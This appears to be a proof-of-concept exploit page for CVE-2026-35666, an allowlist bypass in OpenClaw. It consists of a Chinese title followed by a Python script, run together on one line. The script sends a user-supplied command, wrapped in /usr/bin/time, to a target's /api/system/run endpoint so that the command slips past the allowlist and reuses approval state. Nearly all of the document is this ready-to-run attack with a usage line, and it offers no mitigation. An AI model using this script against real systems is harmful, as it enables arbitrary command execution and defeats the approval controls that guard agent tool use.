CVE-2026-35666 OpenClaw允许列表绕过漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-35666: OpenClaw Allowlist Bypass import requests import sys def exploit(url, command): """Attempts to execute a command using the time wrapper bypass.""" target_endpoint = f"{url}/api/system/run" # Construct the payload using /usr/bin/time to bypass the allowlist # The vulnerability allows reusing approval state for the inner command payload = { "command": f"/usr/bin/time {command}" } try: response = requests.post(target_endpoint, json=payload, timeout=10) if response.status_code == 200: print(f"[+] Command executed successfully!") print(f"[+] Response: {response.text}") else: print(f"[-] Exploit failed. Status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) != 3: print(f"Usage: python {sys.argv[0]} <target_url> <command>") sys.exit(1) target_url = sys.argv[1] cmd = sys.argv[2] exploit(target_url, cmd)